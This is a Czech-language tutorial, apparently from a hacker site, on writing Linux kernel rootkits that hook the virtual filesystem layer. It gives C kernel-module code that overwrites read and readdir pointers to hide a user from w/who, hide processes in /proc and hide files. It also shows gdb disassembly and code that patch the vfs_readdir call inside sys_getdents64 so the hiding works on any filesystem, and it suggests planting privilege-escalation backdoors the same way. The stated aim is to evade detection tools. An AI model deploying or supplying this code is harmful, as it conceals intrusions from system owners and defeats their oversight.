Rootkity zalozene na hookovani VFS Skryvani ruznych veci je v rootkitech bezne zarizovano hooknutim prislusneho systemoveho volani. Vsichni zname.. To uz je ale prilis ohrane a kdejaky detekcni nastroj tuto vec dokaze snadno odhalit. Navic princip hookovani syscallu pro jadra 2.4, v jadrech 2.6 uz nefunguje, tam se to musi delat trosicku jinak. Tak se na syscally vykasleme.. Co takhle jit hloubeji... VFS Co je teda vlastne to VFS? Tato zkratka znamena virtual filesystem a je to jakasi vrstva abstrakce pro praci s ruznymy filesystemy. Pro operace se soubory, ktere lezi v ruznych filesystemech je treba provadet ruzny kod. Proto je tu VFS, ktere prinasi jednotne rozhrani a o rozdily mezi filesystemy se postara za nas. V praxi to vypada tak, ze kazdy soubor (tedy struktura nesouci informace o nem) obsahuje sadu ukazatelu na operace s nim. Ukazatele jsou ulozeny ve strukture struct file_operations, kterou najdete v linux/fs.h: struct file_operations { struct module *owner; loff_t (*llseek) (struct file *, loff_t, int); ssize_t (*read) (struct file *, char __user *, size_t, loff_t *); ssize_t (*aio_read) (struct kiocb *, char __user *, size_t, loff_t); ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *); ssize_t (*aio_write) (struct kiocb *, const char __user *, size_t, loff_t); int (*readdir) (struct file *, void *, filldir_t); unsigned int (*poll) (struct file *, struct poll_table_struct *); ... Napriklad pri cteni ze souboru se spusti funkce read (tedy funkce, na kterou ukazuje ukazatel, ze struktury file_operations patrici k prislusnemu souboru). Tento ukazatel ziskame nejsnadneji takto (ukazka je kus LKM): #include ... int init_module() { struct file *f; /* ziskame strukturu file odpovidajici pozadovanemu souboru */ f = flip_open("nazev.souboru", O_RDONLY, 0600); /* par kontrol.. */ if (!IS_ERR(f)) { if (f && f->f_op) /* a tady ho mame f->f_op->read */ printk("<7>Ukazatel na funkci read: 0x%x\n", f->f_op->read); filp_close(f, NULL); } } Muzeme tedy snadno prepsat jakykoli ukazatel ze struktury f_op. Mezi zajimave ukazatele muze patrit read, write nebo treba readdir. Ten ukazuje na funkci, ktera se vola pri pozadavku o vypis adresarove struktury. Jeho drobnou upravou muzeme tedy skryt libovolny soubor nebo proces.. Princip Princip hookovani je v podstate stejny jako u systemovych volani. - ulozime puvodni ukazatel - nahradime ho ukazatelem na upravenou funkci - pri odpojeni modulu dame vse do puvodniho stavu nejak takhle: #include ssize_t (*old_read) (struct file *, char __user *, size_t, loff_t *); ... int init_module() { struct file *f; f = flip_open("nazev.souboru", O_RDONLY, 0600); if (!IS_ERR(f)) { if (f && f->f_op) old_read = f->f_op->read; f->f_op->read = new_read; filp_close(f, NULL); } } void cleanup_module() { struct file *f; f = flip_open("nazev.souboru", O_RDONLY, 0600); if (!IS_ERR(f)) { if (f && f->f_op) f->f_op->read = old_read; filp_close(f, NULL); } } A v cem uprava puvodni funkce spociva? Zalezi samozrejme na pouziti. Vetsinou jde o zavolani puvodni funkce a upraveni vysledku. Muzeme si to ukazat treba opet na read. Podivejme se jeste jednou, jak vypada prototyp funkce, na kterou ukazuje read: ssize_t (*read) (struct file *, char __user *, size_t, loff_t *); Vidime, ze hned prvni parametr nam ukazuje na strukturu file, ktera samozrejme nese informace o souboru, ze ktereho se prave cte. To nam poslouzi k zistkani ruznych informaci o souboru, ktere potrebujeme pro rozhodnuti, co ve ctenych datech zmenime a co ne. Dalsi parametr ukazuje na pamet, v niz jsou (budou) ulozena prectena data. Treti parametr udava delku teto pameti. Ukazme si tedy, jak treba skryt zaznam o uzivateli ve vypisu programu jako w nebo who. Kazdy vi, ze tyto programy ctou informace ze souboru /var/run/utmp, ktery obsahje pekne za sebou naskladane struktury utmp (viz. man utmp). A mame stesti (no stesti, ono je to celkem logicke...), ze programy w a who z tohoto souboru prectou najednou celou tuto strukturu. Funkce read tedy do pameti (na jejiz zacatek ukazuje druhy parametr) ulozi prave tuto strukturu utmp a pak poslusne vrati pocet prectenych bajtu. Takze co dal: - nechame puvodni read (ukazatel na ni si pred hooknutim ulozime) precist spravna data - precteny buffer si pretypujeme na struct utmp, takze muzeme primo pristupovat k jejim polozkam - zkontrolujeme jestli buf->ut_user obsahuje username, ktere chceme skryt a pokud ano, vratime 0, coz znamena, ze se nic neprecetlo. Pro jistotu muzeme cely buffer vynulovat primitivni, ale ucinne;) hooknuta funkce tedy vypada takhle, aneb totez zapsane v C: ssize_t new_read(struct file *f, char *buf, size_t count, loff_t *ppos) { #define filename (f->f_dentry->d_name.name) /* provedeme puvodni read, ulozime si navratovou hodnotu */ ssize_t res = old_read(f, buf, count, ppos); if (!strcmp(filename, "utmp")) { struct utmp *utmp_entry = (struct utmp *) buf; if (utmp_entry && !strcmp(utmp_entry->ut_user, HIDDEN_USERNAME)) { memset(utmp_entry, 0, sizeof(struct utmp)); return 0; } } return res; } Velmi jednoduche ze? Nemusime se ani trapit tim, ze parametry funkce ukazuji do userspace jako u syscallu, protoze tyhle funkce uz nejsou na rozhrani user a kernelspace, takze vsechny ukazatele, ktere jdou do nich i z nich ukazuji do kernelspace. Princip je doufam jasny, tak se jeste v rychlosti mrknem na to, jak skryt treba nejaky proces nebo soubor. Jak jsem se asi uz zminil, pro ziskani obsahu adresarove struktury slouzi readdir. Pro skryti procesu to vyuzijeme taky, protoze ps pro ziskani seznamu bezicich procesu stejne vyuziva /proc. Takze staci skryt dany adresar v /proc a hotovo.. Tak zkusme na to jit stejne. Jak vypada to readdir: int (*readdir) (struct file *, void *, filldir_t); Ano, samozrejme prvni parametr obsahuje opet strukuru file, ktera popisuje adresar, z nejz se cte, druhy parametr opet pamet, kam se prectena data ulozi a treti parametr je ukazatel na funkci filldir, ktera se stara o zjistovani potrebnych informaci. Tahle funkce dostava soubor po souboru a pokud nic neudela a vrati, ze vse probehlo v poradku, nebude o danem souboru nikde dal ani zminka. Takze je dobry napad upravit prave tuhle funkci. Ale nejdriv je treba zaridit, aby readdir upravenou funkci pouzivala, takze musi dostat jako treti parametr prave ukazatel na nasi readdir. To udelame snadno. Proste ji hookneme a v ni zavolame tu puvodni s parametry, jake si rekneme. filldir_t real_filldir; .... int new_readdir_proc (struct file *a, void *b, filldir_t c) { real_filldir = c; return old_readdir_proc (a, b, new_filldir); } a ted se muzeme pustit do psani new_filldir. Ta tedy pouze overi, zda soubor, ktery zrovna zpracovava je treba skryt. Pokud usoudi, ze ano, vrati 0. Jinak provede puvodni funkci. To je vsechno. Opet velmi jednoduche. Takze tady je ukazka, jak skryvat procesy (samozrejme musime hooknout readdir pro /proc). static int new_filldir(void * __buf, const char * name, int namlen, loff_t offset, ino_t ino, unsigned int d_type) { int pid; struct task_struct *task; char buf[256] = {0}; /* do buf ulozime nazev aktualne zpracovavaneho souboru */ memcpy(buf, name, namlen); pid = my_atoi(buf); /* makro se muze jmenovat i for_each_process, v zavislosti na verzi jadra; najdete ho definovane v linux/sched.h */ for_each_task(task) if (task->uid == HIDDEN_UID && task->pid == pid) return 0; /* zavolame puvodni funkci */ return real_filldir (__buf, name, namlen, offset, ino, d_type); } V podstate stejnym zpusobem muzeme hooknout readdir pro / a pak treba overit koncovku souboru a podle toho bud skryt nebo ne.. V pripade skryvani souboru tu je jedna nevyhoda. Pokud treba skryvame soubory podle koncovky a provedeme hook pro /, budou skryty pouze soubory s danou koncovkou, ktere lezi na stejnem filesystemu jako ma korenovy adresar. Bud se da udelat hook pro vsechny filesystemy, ktere prichazi do uvahy, nebo hooknout funkci, ktera lezi jeste pred tim, nez se preda rizeni te konkrentni funkci zavisle na filesystemu. O tom si neco rekneme o kousek niz. Pak mame jeste jednu moznost -- proste to ignorovat. Uzivatel rootkitu si vetsinou sve hracky stejne da do jednoho adresare, ktery skryje. Pak se ruznyma filesystemama zabyvat nemusi.. Doufam, ze z toho, co jsem popsal je princip jasny. O neco polopatictejsi vysvetleni najdete v sekci papers na mojem webu. Popisovana technika neni zavisla na verzi jadra a zatim se nejak moc nepouziva. Snad jedinym volne dostupnym rootkitem, ktery podobne techniky vyuziva je Adore NG. Nejake priklady najdete zase nekde na mojem webu.. Trochu jiny zpusob... Ted si ukazeme jiny, na filesystemu nezavisly zpusob, jak skryt soubor. Ne, ze by to bylo az tak extremne uzitecne samo o sobe (vetsinou postaci predchozi a mnohem jednodussi technika), ale ukazu na tom neco, co se muze hodit i pri jinych vecech. Treba pri programovani VELMI spatne odhalitenych backdooru, nebo jen tak pro zabavu.. :) Puvodne jsem to ani nechtel popisovat, ale sven rekl, ze to klidne muze byt delsi, takze proc ne.. U predchozi techniky jsme pouzivali upravenou funkci readdir, ktera pouze volala puvodni, jen s jinym parametrem. Je to nutne? Co takhle zavolat puvodni readdir rovnou. Pak by se volala jen ta readdir, ktera je vhodna pro dany filesystem, ale nas hook by fungoval porad. Podivejme se, co se vlastne pri spusteni ls deje. Ve vypisu programu strace zjistime, ze se pouziva systemove volani getdents64. Mrknem do zdrojaku jadra (fs/readdir.c) na tuhle funkci. Vidime, ze ta zas vola nejakou vfs_readdir: int vfs_readdir(struct file *file, filldir_t filler, void *buf); Uz tahle funkce dostane jako parametr ukazatel na funkci filldir. Podivejme se jeste co, dela vfs_readdir: int vfs_readdir(struct file *file, filldir_t filler, void *buf) { struct inode *inode = file->f_dentry->d_inode; int res = -ENOTDIR; if (!file->f_op || !file->f_op->readdir) goto out; res = security_file_permission(file, MAY_READ); if (res) goto out; down(&inode->i_sem); res = -ENOENT; if (!IS_DEADDIR(inode)) { res = file->f_op->readdir(file, buf, filler); } up(&inode->i_sem); out: return res; } Nic prevratneho.. zkontroluje prava, dekrementuje semafor, zavola spravnou funkci readdir pro dany filesystem, inkrementuje semafor a zkonci. Samozrejme nas zajima, ze parametr filler preda nezmeneny puvodni readdir. Takze kdyby se nam podarilo hooknout vfs_readdir tak, aby zavolala vfs_readdir se zmenenym parametrem filler, udelame v podstate totez co u predchoziho pripadu, ale mame to nezavisle na souborovem systemu. A prave tady cela zabava zacina! Shrnme si, co potrebujeme pohackovat: - musime donutit getdents64, aby skocil do nasi vfs_readdir, namisto te puvodni - pripravit si novou vfs_readdir - pripravit si novou funkci filldir To cele bude sranda, az na prvni bod. To muze byt trochu narocnejsi, hlavne kdyz chceme, aby to behalo i na jinem systemu, nez na tom nasem.. hooknuti vfs_readdir K hooku vfs_readdir si pripravime nuzky, lepidlo, debugger, zdrojove kody jadra a silny zaludek, bo to je pekna prasarna. Pokud mate vse po ruce (az na ten zaludek;), muzeme zacit. Nejprve rozpitvame soubor $KERNEL_SRC/fs/readdir.c. Jak vypada sys_getdents64? Kvuli uspore elektronickeho papiru se podivejte sami, uvidite, ze nekde uprostred je volani fce vfs_readdir. Urcite musime najit presnou adresu jejiho volani. Adresu getdents64 zjistime snadno, je to adresa asi na 220te pozici v sys_call_table. Jeste najit, jak daleko od jejiho zacatku je to volani. No, to nebude az tak tezke.. ale pro jistotu nastartuje debugger, at se na to podivame zblizka... % cd /usr/src/linux % gdb vmlinux GNU gdb 5.3 Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-slackware-linux"...(no debugging symbols found)... (gdb) disas sys_getdents64 Dump of assembler code for function sys_getdents64: 0xc0168b60 : sub $0x2c,%esp 0xc0168b63 : mov $0xffffe000,%eax 0xc0168b68 : mov %ebx,0x1c(%esp,1) 0xc0168b6c : mov 0x34(%esp,1),%ebx 0xc0168b70 : mov %edi,0x24(%esp,1) 0xc0168b74 : mov $0xfffffff2,%edi 0xc0168b79 : mov %ebx,%edx 0xc0168b7b : mov %ebp,0x28(%esp,1) 0xc0168b7f : mov 0x38(%esp,1),%ebp 0xc0168b83 : and %esp,%eax 0xc0168b85 : mov %esi,0x20(%esp,1) 0xc0168b89 : add %ebp,%edx 0xc0168b8b : sbb %ecx,%ecx 0xc0168b8d : cmp %edx,0x18(%eax) 0xc0168b90 : sbb $0x0,%ecx 0xc0168b93 : test %ecx,%ecx 0xc0168b95 : jne 0xc0168c0d 0xc0168b97 : mov 0x30(%esp,1),%eax 0xc0168b9b : mov $0xfffffff7,%edi 0xc0168ba0 : call 0xc0156180 0xc0168ba5 : test %eax,%eax 0xc0168ba7 : mov %eax,%esi 0xc0168ba9 : je 0xc0168c0d 0xc0168bab : mov %ebx,0xc(%esp,1) 0xc0168baf : lea 0xc(%esp,1),%eax 0xc0168bb3 : movl $0x0,0x10(%esp,1) 0xc0168bbb : mov %ebp,0x14(%esp,1) 0xc0168bbf : movl $0x0,0x18(%esp,1) 0xc0168bc7 : mov %eax,0x8(%esp,1) 0xc0168bcb : movl $0xc0168a10,0x4(%esp,1) 0xc0168bd3 : mov %esi,(%esp,1) 0xc0168bd6 : call 0xc0168610 0xc0168bdb : test %eax,%eax 0xc0168bdd : mov %eax,%edi 0xc0168bdf : js 0xc0168c06 0xc0168ba7 : mov %eax,%esi Vidime, ze prvni instrukce call, je volani fget a druha call je 118 bajtu od zacatku sys_getdents64 a je to prave volani vfs_readdir. Co presne je na teto pozici ulozeno? (gdb) x sys_getdents64+118 0xc0168bd6 : 0xfffa35e8 Protoze jde o little-endian architekturu, bajty jsou v pameti opacne. Ve skutecnosti tam jsou asi takto: (gdb) x/5b sys_getdents64+118 0xc0168bd6 : 0xe8 0x35 0xfa 0xff 0xff Pohlem do intelovske dokumentace zjistíme, že 0xe8 je operacni kod instrukce call a za nim nasleduje 4bajtova relativni adresa. Relativni adresa je tedy 0xfffffa35. Absolutni adresa volane funkce je soucet tohoto parametru s adresou nasledujici instrukce. Pro spolehlive vyhledani spravneho callu vyuzijeme toho, ze absolutni adresu vfs_readdir zname (pokud tedy vyuzivame LKM). Takze algoritmus je nasledujici: - najdeme adresu pocatku sys_getdents64 - nacteme dostatecne velky kus kodu teto funkce (150 B staci urcite..) - v tomto bufferu vyhledavame volani call (tedy znam 0xe8) - u kazdeho nalezeneho volani si parametr prepocitame na absolutni adresu - tu pak porovname s vfs_readdir A mame presnou lokaci daneho volani. Predpokladam, ze ani nemusim rikat, co s tim. Ale pro jistotu.. absolutni adresu nasi upravene vfs_readdir prepocitame na relativni vzhledem k nasledujici instrukci a prepiseme ji 4 bajty, ktere nasleduji za danym callem (tedy za operacnim kodem teto instrukce). Tim samozrejme dosahneme toho, ze getdents64 vola neco jineho nez by normalne mela.. Funkce pro vyhledani volani by mohla vypadat nejak takhle: /* prvni parametr je adresa getdents64, * pres druhy parametr funkce vraci adresu, kde se relativni adresa nachazi * pres posledni parametr funkce vraci puvodni parametr instrukce call * * funkce vraci promennou addr_add, coz je to, co se musi pricist k relativni adrese, * abychom dostali absolutni. Jinymi slovy * paremetr instrukce call = absolutní adresa - addr_add */ unsigned get_vfs_readdir(unsigned int syscalladdr, unsigned int *location, unsigned int *orig) { #define BUFFLEN 170; char buf[BUFFLEN], *p; unsigned int addr = syscalladdr; unsigned vr_addr, offset = -1; unsigned int addr_add; /* call instruction */ char pattern[] = "\xe8"; int patlen = 1; int addr_inc = 1; if (addr == 0) return 0; memcpy(buf, (void *)addr, BUFFLEN); do { p = (char*)memmem(buf + offset + 1, BUFFLEN, pattern, patlen); offset = (unsigned)p - (unsigned)buf; addr = syscalladdr + offset + addr_inc; *location = addr; memcpy(&vr_addr, (void *)addr, sizeof(vr_addr)); *orig = vr_addr; } while ((unsigned)(addr + 4 + vr_addr) != (unsigned)vfs_readdir && p != NULL); if (p == NULL) return 0; addr_add = addr + 4; /* address of vfs_readdir is vr_addr+addr_add */ return addr_add; } Hooknout vfs_readdir bysme uz meli byt schopni. Vime presnou adresu jeho volani. Tam (tedy o bajt dal) zapiseme relativni adresu new_vfs_readdir. Nesmime ji zapomenout prepocitat na relativni, protoze zname pouze absolutni adresu. Upravena vfs_readdir je trivialni: filldir_t real_filler; ... int new_vfs_readdir(struct file *file, filldir_t filler, void *buf) { real_filler = filler; return vfs_readdir(file, new_filldir, buf); } Nakonec zbyva napsat new_filldir, ale ta je stejna jako u predchozi techniky.. Podobnym zpusobem muzeme upravit nejen systemova volani, ale ruzne funkce v kernelu a da se do nich ulozit napr. backdoor na zvyseni prav. A nikdo na to neprijde, pokud nenajde modul, kterym jsme zmeny provedli. Kdyby se tohle spachalo zapsanim primo do /dev/kmem, je to opravdu velmi spatne odhalitelne....